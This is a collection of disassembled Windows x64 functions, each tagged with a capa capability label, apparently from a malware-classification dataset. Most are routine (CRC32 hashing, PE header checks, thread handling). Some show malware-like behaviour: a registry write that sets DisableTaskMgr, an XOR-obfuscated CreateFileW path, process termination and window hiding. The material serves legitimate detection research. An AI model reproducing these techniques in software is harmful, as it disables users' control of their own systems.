joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400067f0
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0xf0]
lea r11, [0x14004ea10]
mov rax, qword [rcx + 0xf8]
mov r9, rcx
movsxd r10, edx
mov ebx, dword [rax + r8*4 - 4]
not ebx
movzx eax, r10b
movzx r8d, bl
shr ebx, 8
xor r8, rax
mov eax, r10d
shr eax, 8
movzx edx, al
mov eax, r10d
xor ebx, dword [r11 + r8*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
shr eax, 0x10
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
mov edx, r10d
shr rdx, 0x18
xor rdx, rcx
mov rcx, qword [r9]
xor ebx, dword [r11 + rdx*4]
not ebx
cmp dword [rcx + 0x3f20], ebx
jne 0x140006886
mov r8, r10
mov edx, 4
mov ecx, ebx
call fcn.14001ad90
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x140006890
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
mov rax, qword [rcx + 0xf8]
lea r9, [0x14004ea10]
movss xmm2, dword [rcx + 0x110]
movss xmm3, dword [rcx + 0x114]
movsxd rcx, dword [rcx + 0xf0]
movss xmm0, dword [rdx]
movss xmm1, dword [rdx + 4]
subss xmm0, xmm2
subss xmm1, xmm3
mov r8d, dword [rax + rcx*4 - 4]
not r8d
movzx ecx, r8b
shr r8d, 8
movss dword [rsp], xmm0
movzx eax, byte [rsp]
xor rcx, rax
movss xmm0, dword [rdx + 8]
movzx eax, byte [rsp + 1]
subss xmm0, xmm2
movss dword [rsp + 4], xmm1
movss xmm1, dword [rdx + 0xc]
xor r8d, dword [r9 + rcx*4]
subss xmm1, xmm3
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 2]
movss dword [rsp + 8], xmm0
movss dword [rsp + 0xc], xmm1
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 3]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 4]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 5]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 6]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 7]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 8]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 9]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xa]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xb]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xc]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xd]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xe]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
xor r8d, dword [r9 + rcx*4]
movzx ecx, byte [rsp + 0xf]
movzx edx, r8b
shr r8d, 8
xor rdx, rcx
xor r8d, dword [r9 + rdx*4]
not r8d
mov eax, r8d
add rsp, 0x18
ret
Function at 0x14000a0f0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rdi, qword [0x14005c800]
mov r15d, edx
mov r12d, dword [rsp + 0x90]
movaps xmmword [rsp + 0x30], xmm6
mov rbx, qword [rdi + 0x3ed8]
mov eax, dword [rbx + 0x14]
movss xmm3, dword [rbx + 0x250]
and eax, 4
movss xmm5, dword [rbx + 0x254]
or eax, 0x1000103
or r12d, eax
cmp qword [rbx + 0x1a8], 0
jne 0x14000a156
cmp qword [rdi + 0x4b30], 0
je 0x14000a15e
movss xmm3, dword [rbx + 0x220]
cvttss2si eax, dword [r8]
xor r14d, r14d
subss xmm3, dword [rbx + 0x100]
subss xmm5, dword [rbx + 0x104]
xorps xmm4, xmm4
movd xmm1, eax
cvttss2si eax, dword [r8 + 4]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
ucomiss xmm1, xmm4
cvtdq2ps xmm0, xmm0
jp 0x14000a198
lea eax, [r14 + 1]
je 0x14000a19b
mov eax, r14d
ucomiss xmm0, xmm4
jp 0x14000a1a8
jne 0x14000a1a8
mov r14d, 2
movss xmm2, dword [0x140053f48]
or r14d, eax
comiss xmm4, xmm1
jb 0x14000a1c4
addss xmm1, xmm3
comiss xmm1, xmm2
jae 0x14000a1c4
movaps xmm1, xmm2
comiss xmm4, xmm0
jb 0x14000a1d5
addss xmm0, xmm5
comiss xmm0, xmm2
jae 0x14000a1d5
movaps xmm0, xmm2
or dword [rdi + 0x47b0], 2
xor edx, edx
movss dword [rdi + 0x47d0], xmm1
movss dword [rdi + 0x47d4], xmm0
mov dword [rdi + 0x47b8], 1
mov r9, qword [rbx + 8]
test rcx, rcx
je 0x14000a21e
mov dword [rsp + 0x28], r15d
lea r8, str._s__s__08X
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x70]
call fcn.140002ce0
jmp 0x14000a234
lea r8, str._s__08X
mov dword [rsp + 0x20], r15d
lea rcx, [rsp + 0x70]
call fcn.140002ce0
mov rcx, qword [rsp + 0x70]
mov r8d, r12d
movss xmm6, dword [rdi + 0x37f8]
xor edx, edx
call fcn.14000cdf0
mov rsi, qword [rdi + 0x3ed8]
movzx ebp, al
movss dword [rdi + 0x37f8], xmm6
cmp word [rsi + 0xc2], 1
mov dword [rsi + 0x80], r15d
mov byte [rsi + 0xd2], r14b
jne 0x14000a282
movsd xmm0, qword [rsi + 0x20]
movsd qword [rbx + 0x100], xmm0
mov r9d, r15d
lea rdx, [0x14004da11]
not r9d
lea r10, [0x14004ea10]
mov ebx, r9d
mov r8b, 0x23
nop dword [rax]
cmp r8b, 0x23
jne 0x14000a2b3
cmp byte [rdx], r8b
jne 0x14000a2b3
cmp byte [rdx + 1], r8b
cmove ebx, r9d
movzx ecx, bl
movzx eax, r8b
movzx r8d, byte [rdx]
xor rcx, rax
shr ebx, 8
inc rdx
xor ebx, dword [r10 + rcx*4]
test r8b, r8b
jne 0x14000a2a0
not ebx
cmp dword [rdi + 0x3f38], ebx
jne 0x14000a2e3
xor edx, edx
xor ecx, ecx
call fcn.140006a50
cmp dword [rdi + 0x48c8], r15d
jne 0x14000a330
bt r12d, 0x17
jb 0x14000a330
cmp word [rsi + 0x15c], 0
jne 0x14000a306
cmp byte [rsi + 0x162], 0
je 0x14000a330
xor edx, edx
mov rcx, rsi
call fcn.14000f240
xor edx, edx
mov rcx, rsi
call fcn.140015920
mov rdx, rsi
mov ecx, ebx
call fcn.140006a50
mov eax, dword [rdi + 0x48ec]
mov dword [rdi + 0x3f60], eax
mov rbx, qword [rsp + 0x78]
movzx eax, bpl
mov rbp, qword [rsp + 0x80]
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x1400135e0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x14005c040]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x14005c800]
mov edi, ecx
cmp byte [rbx + 0x4a79], 0
jne 0x140013641
cmp byte [rbx + 0x4a7a], 0
jne 0x140013641
movsx r9d, word [rbx + 0x5bb2]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.140002c60
test dil, 2
je 0x14001376f
jmp 0x1400136ca
movss xmm1, dword [rbx + 0x3894]
lea r8, str.Tooltip__02d
movsx r9d, word [rbx + 0x5bb2]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x140053f70]
mulss xmm1, dword [0x140053f64]
lea edx, [rax + 0x10]
addss xmm0, dword [rbx + 0xe00]
addss xmm1, dword [rbx + 0xe04]
mov qword [rbx + 0x47c8], rax
mov dword [rbx + 0x47b4], 1
movss dword [rbx + 0x47c0], xmm0
movss dword [rbx + 0x47c4], xmm1
movss xmm0, dword [rbx + 0x38f0]
mulss xmm0, dword [0x140053e94]
or dword [rbx + 0x47b0], 0x41
movss dword [rbx + 0x4810], xmm0
call fcn.140002c60
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x140013720
lea r11, [0x14004ea10]
nop word [rax + rax]
cmp r9b, 0x23
jne 0x140013703
cmp byte [r8], r9b
jne 0x140013703
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x1400136f0
not ecx
call fcn.14000a670
test rax, rax
je 0x14001376f
cmp byte [rax + 0xb6], 0
je 0x14001376f
mov byte [rax + 0xbb], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xbd], 1
lea rcx, [rsp + 0x20]
mov byte [rax + 0xd8], 1
mov edx, 0x10
inc word [rbx + 0x5bb2]
movsx r9d, word [rbx + 0x5bb2]
call fcn.140002c60
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.14000cdf0
mov al, 1
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14004aea0
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x1400195c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5ca0], 0
lea rbx, [rcx + 0x5ca8]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x140019667
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x14001961a
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.14001bae0
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.140003770
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5ca0]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5cb0]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x14005c7f8]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x14001966f
mov rcx, rbx
call fcn.140003770
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x140019af0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x14005c800]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x140019b53
mov qword [rsp], rbx
lea rbx, [0x14004ea10]
nop dword [rax]
cmp r9b, 0x23
jne 0x140019b33
cmp byte [r8], r9b
jne 0x140019b33
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x140019b20
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5c10]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x140019b87
mov r10, qword [r10 + 0x5c18]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x140019b8e
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x140019b74
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret
Function at 0x140045bf0
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
sub rsp, 0x68
xor r8d, r8d
mov dword [rax - 0x28], 0x1cf91cf8
mov word [rax - 0x10], r8w
mov edx, 0x1ca4
mov dword [rax - 0x24], 0x1cfb1c88
mov dword [rax - 0x20], 0x1cc21cdb
mov dword [rax - 0x1c], 0x1cd91ccb
mov dword [rax - 0x18], 0x1c9f1c9d
mov dword [rax - 0x14], 0x1c9b1c9d
mov byte [rax - 0xe], 1
mov eax, r8d
nop word [rax + rax]
lea ecx, [rdx + rax]
xor word [rsp + rax*2 + 0x40], cx
inc rax
cmp rax, 0xc
jb 0x140045c40
mov qword [rsp + 0x30], r8
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x28], r8d
xor r9d, r9d
mov byte [rsp + 0x5a], r8b
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x14005c820], rax
test rax, rax
je 0x140045c97
cmp rax, 0xffffffffffffffff
setne al
add rsp, 0x68
ret
add rsp, 0x68
ret
Function at 0x14004b9c4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004ba0e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004ba0e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14004ba0e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004ba0e
cmp dword [rcx + 0x84], 0xe
jbe 0x14004ba0e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14004ba10
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x78
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
mov dword [rsp + 0x58], 1
mov r9d, 0x20006
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140001084
xor r8d, r8d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], r8
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], r8
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 4
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov dword [rsp + 0x28], 4
lea rdx, str.DisableTaskMgr
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400010e0
add rsp, 0x78
ret

Function at 0x1400019a8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019f2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019f2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019f2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019f2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019f2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019f4
xor al, al
add rsp, 0x28
ret
Function at 0x1400415d7
Capabilities:
Hide graphical window

Disassembly:
mov qword [rsp + 8], rcx
push r15
xor rax, rax
push rax
sub rsp, 0x28
call fcn.1400b3bf0
push qword [rsp + 0x40]
pop rcx
call fcn.140092a4c
and rax, rax
je 0x140041718
mov r15, qword [rsp + 0x40]
cmp r15, qword [0x1406478f4]
jne 0x14004168b
push qword [0x1406478fc]
pop rcx
call fcn.140092a4c
and rax, rax
je 0x14004162f
push 1
push qword [0x1406478fc]
pop rcx
pop rdx
call fcn.140092d40
push 0
push qword [0x1406478f4]
pop rcx
pop rdx
call fcn.140092d40
push 9
sub rsp, 8
push qword [0x1406478f4]
pop rcx
sub rsp, 0x20
call fcn.140092a5c
add rsp, 0x28
mov rax, rax
push rax
pop rcx
pop rdx
call sub.USER32.dll_ShowWindow
push qword [0x1406478f4]
pop rcx
call fcn.140092a5c
mov rax, rax
push rax
pop rcx
call sub.USER32.dll_SetForegroundWindow
push qword [0x1406478f4]
pop rcx
call fcn.1400936e8
mov r15, qword [rsp + 0x40]
cmp r15, qword [0x1406478fc]
jne 0x140041718
push qword [0x1406478f4]
pop rcx
call fcn.140092a4c
and rax, rax
je 0x1400416bc
push 1
push qword [0x1406478f4]
pop rcx
pop rdx
call fcn.140092d40
push 0
push qword [0x1406478fc]
pop rcx
pop rdx
call fcn.140092d40
push 9
sub rsp, 8
push qword [0x1406478fc]
pop rcx
sub rsp, 0x20
call fcn.140092a5c
add rsp, 0x28
mov rax, rax
push rax
pop rcx
pop rdx
call sub.USER32.dll_ShowWindow
push qword [0x1406478fc]
pop rcx
call fcn.140092a5c
mov rax, rax
push rax
pop rcx
call sub.USER32.dll_SetForegroundWindow
push qword [0x1406478fc]
pop rcx
call fcn.1400936e8
xor rax, rax
add rsp, 0x30
pop r15
ret
Function at 0x14005fb4c
Capabilities:
Query service status

Disassembly:
mov qword [rsp + 8], rcx
push rbp
mov rax, 7
sub rsp, 8
mov qword [rsp], 0
dec rax
jne 0x14005fb59
sub rsp, 0x28
call fcn.1400b3bf0
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x28]
sub rsp, 0x10
call fcn.1400b3c90
add rsp, 0x10
lea rax, [rsp + 0x30]
push 0xf003f
push 0
push 0
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.dll_OpenSCManagerW
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14005fc0a
push 0xf01ff
push qword [rsp + 0x30]
push qword [rsp + 0x60]
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.dll_OpenServiceW
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x14005fbf5
lea rax, [rsp + 0x30]
mov rax, rax
push rax
push qword [rsp + 0x60]
pop rcx
pop rdx
call sub.ADVAPI32.dll_QueryServiceStatus
push qword [rsp + 0x58]
pop rcx
call sub.ADVAPI32.dll_CloseServiceHandle
push qword [rsp + 0x50]
pop rcx
call sub.ADVAPI32.dll_CloseServiceHandle
lea rbp, [rsp + 0x30]
movsxd rax, dword [rbp + 4]
jmp 0x14005fc0d
xor rax, rax
push rax
mov rcx, qword [rsp + 0x30]
sub rsp, 0x28
call fcn.1400b3c60
add rsp, 0x28
pop rax
add rsp, 0x60
pop rbp
ret
Function at 0x1400604f7
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
push r15
xor rax, rax
push rax
push rax
push rax
sub rsp, 0x28
call fcn.1400b3bf0
push qword [rsp + 0x50]
push 0
push 1
pop rcx
pop rdx
pop r8
call sub.KERNEL32.dll_OpenProcess
mov qword [rsp + 0x28], rax
mov r15, qword [rsp + 0x28]
and r15, r15
je 0x14006055b
push 1
push qword [rsp + 0x30]
pop rcx
pop rdx
call sub.KERNEL32.dll_TerminateProcess
and rax, rax
je 0x140060551
mov qword [rsp + 0x30], 1
push qword [rsp + 0x28]
pop rcx
call sub.KERNEL32.dll_CloseHandle
mov rax, qword [rsp + 0x30]
jmp 0x140060565
add rsp, 0x40
pop r15
ret

Function at 0x1400605d0
Capabilities:
Get graphical window text

Disassembly:
push r15
xor rax, rax
push rax
sub rsp, 0x28
call fcn.1400b3bf0
mov rcx, qword [rsp + 0x60]
call fcn.140060928
mov r15, qword [0x140647ce4]
and r15, r15
jne 0x14006061a
push 0
push 0
pop rcx
pop rdx
call sub.USER32.dll_FindWindowW
mov qword [0x140647cec], rax
mov qword [0x140647ce4], 1
jmp 0x140060633
push 2
push qword [0x140647cec]
pop rcx
pop rdx
call sub.USER32.dll_GetWindow
mov qword [0x140647cec], rax
mov r15, qword [0x140647cec]
and r15, r15
je 0x140060709
push 0xfffffffffffffff0
push qword [0x140647cec]
pop rcx
pop rdx
call sub.USER32.dll_GetWindowLongPtrW
mov r15, rax
and r15, 0x10000000
cmp r15, 0x10000000
jne 0x140060707
push 0xffffffffffffffec
push qword [0x140647cec]
pop rcx
pop rdx
call sub.USER32.dll_GetWindowLongPtrW
mov r15, rax
and r15, 0x80
cmp r15, 0x80
je 0x140060707
push rcx
sub rsp, 0x28
call fcn.1400b3910
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400b3910
add rsp, 0x28
pop rcx
push rax
push 0x100
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400b0a30
add rsp, 0x28
lea rcx, [rsp + 0x30]
pop rdx
call fcn.1400b39d0
push 0x100
push qword [rsp + 0x30]
push qword [0x140647cec]
pop rcx
pop rdx
pop r8
call sub.USER32.dll_GetWindowTextW
push qword [rsp + 0x28]
movabs rcx, 0x1401aa098
pop rdx
call fcn.1400b3ab0
or rax, rax
jne 0x140060707
jmp 0x140060724
jmp 0x140060714
mov qword [0x140647ce4], 0
mov r15, qword [0x140647cec]
and r15, r15
jne 0x1400605e9
mov rcx, qword [rsp + 0x28]
push rcx
sub rsp, 0x28
call fcn.1400b3910
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400b3960
add rsp, 0x28
pop rax
push rax
call fcn.1400b3b10
pop rdx
add rax, rdx
jmp 0x14006075d
push rax
mov rcx, qword [rsp + 0x30]
sub rsp, 0x28
call fcn.1400b3c60
add rsp, 0x28
pop rax
add rsp, 0x30
pop r15
ret

Function at 0x140060928
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.dll_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x140641338]
call sub.KERNEL32.dll_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret
Function at 0x140061a40
Capabilities:
Create thread

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x30
lea rax, [r11 + 0x18]
mov r9, rdx
mov r8, rcx
mov qword [r11 - 0x10], rax
xor edi, edi
mov edx, 0x1000
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbp, rax
test rax, rax
je 0x140061b06
lea rcx, [0x14064a120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140647e60]
jmp 0x140061aca
lea rsi, [rbx + 0x10]
xor edx, edx
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140061ac7
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rbx]
lea rcx, [0x140647e60]
mov rdx, rsi
call fcn.1400b36c0
jmp 0x140061aca
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140061a97
mov rdx, qword [reloc.WS2_32.dll_accept]
lea rcx, [0x140647e60]
mov rdi, rdx
inc rdx
mov qword [reloc.WS2_32.dll_accept], rdx
lea edx, [rbx + 0x20]
call fcn.1400b3708
lea rcx, [0x14064a120]
mov qword [rax], rbp
mov qword [rax + 8], rdi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
mov rax, rdi
add rsp, 0x30
pop rdi
ret

Function at 0x140061b20
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.1400619d0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x14064a120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140647e60]
jmp 0x140061b5c
cmp qword [rbx + 0x18], rdi
je 0x140061b63
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140061b53
jmp 0x140061b7d
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x140647e60]
call fcn.1400b36c0
lea rcx, [0x14064a120]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140062230
Capabilities:
Create thread

Disassembly:
or r8d, 0xffffffff
xor edx, edx
jmp 0x140062230
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov r12d, edx
mov r15, rcx
mov rdx, rcx
mov rcx, qword [0x140647e68]
mov esi, r8d
xor r14d, r14d
call fcn.1400b2c98
mov rbx, rax
test rax, rax
je 0x140062415
mov rcx, qword [rax]
mov qword [rsp + 0x30], rcx
cmp qword [rax + 0x20], r14
je 0x140062316
mov rcx, r15
call fcn.140062598
jmp 0x140062294
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [rbx + 0x2d], r14b
jne 0x140062289
mov rcx, qword [rbx + 0x20]
call fcn.140062b8c
mov edi, 1
xor edx, edx
mov rcx, rbx
mov dword [rbx + 0x30], r12d
mov byte [rbx + 0x2c], dil
call fcn.140062178
lea rax, [rsp + 0x88]
lea r8, [0x140062430]
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], r14d
mov r9, rbx
mov edx, 0x2000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x1400622f1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0xffffffff
je 0x140062300
mov edx, esi
mov rcx, r15
call fcn.1400626a0
mov rcx, qword [rbx]
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x68]
mov rcx, qword [rbx]
mov r9d, edi
jmp 0x1400623c1
mov edi, 1
mov ebp, r14d
test dil, r12b
cmovne ebp, edi
test r12b, 2
je 0x1400623ce
mov rcx, rax
call fcn.140061f6c
lea rcx, [rbx + 8]
lea edx, [rdi + 0x1f]
call fcn.1400b3708
mov rcx, qword [0x140647e90]
mov rdx, qword [rsp + 0x30]
mov r9, qword [rcx]
lea r8, [rsp + 0x30]
mov r14, rax
call qword [r9 + 0x28]
test eax, eax
jne 0x140062415
mov rcx, qword [rsp + 0x30]
mov byte [r14 + 9], bpl
mov byte [r14 + 8], dil
mov qword [r14], rcx
mov rcx, qword [rsp + 0x30]
mov edx, dword [rbx + 0x14]
mov rax, qword [rcx]
call qword [rax + 0x88]
mov rcx, qword [rsp + 0x30]
mov edx, dword [rbx + 0x10]
mov rax, qword [rcx]
call qword [rax + pe_nt_image_headers64]
cmp esi, 0xffffffff
je 0x1400623ab
mov r8, r14
mov edx, esi
mov rcx, r15
call fcn.1400626a8
jmp 0x1400623b9
mov rcx, qword [rsp + 0x30]
mov edx, dword [rbx + 0x18]
mov rax, qword [rcx]
call qword [rax + 0x78]
mov rcx, qword [rsp + 0x30]
mov r9d, ebp
mov rax, qword [rcx]
xor r8d, r8d
xor edx, edx
call qword [rax + 0x60]
jmp 0x140062415
mov rax, qword [rcx]
call qword [rax + 0x90]
mov rcx, qword [rsp + 0x30]
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x68]
cmp esi, 0xffffffff
je 0x1400623f3
mov edx, esi
mov rcx, r15
call fcn.1400626a0
mov rcx, qword [rsp + 0x30]
mov r9d, ebp
xor r8d, r8d
mov rax, qword [rcx]
xor edx, edx
call qword [rax + 0x60]
test eax, eax
jne 0x140062415
mov r14, rdi
mov byte [rbx + 0x2c], dil
mov byte [rbx + 0x2e], bpl
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rax, r14
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret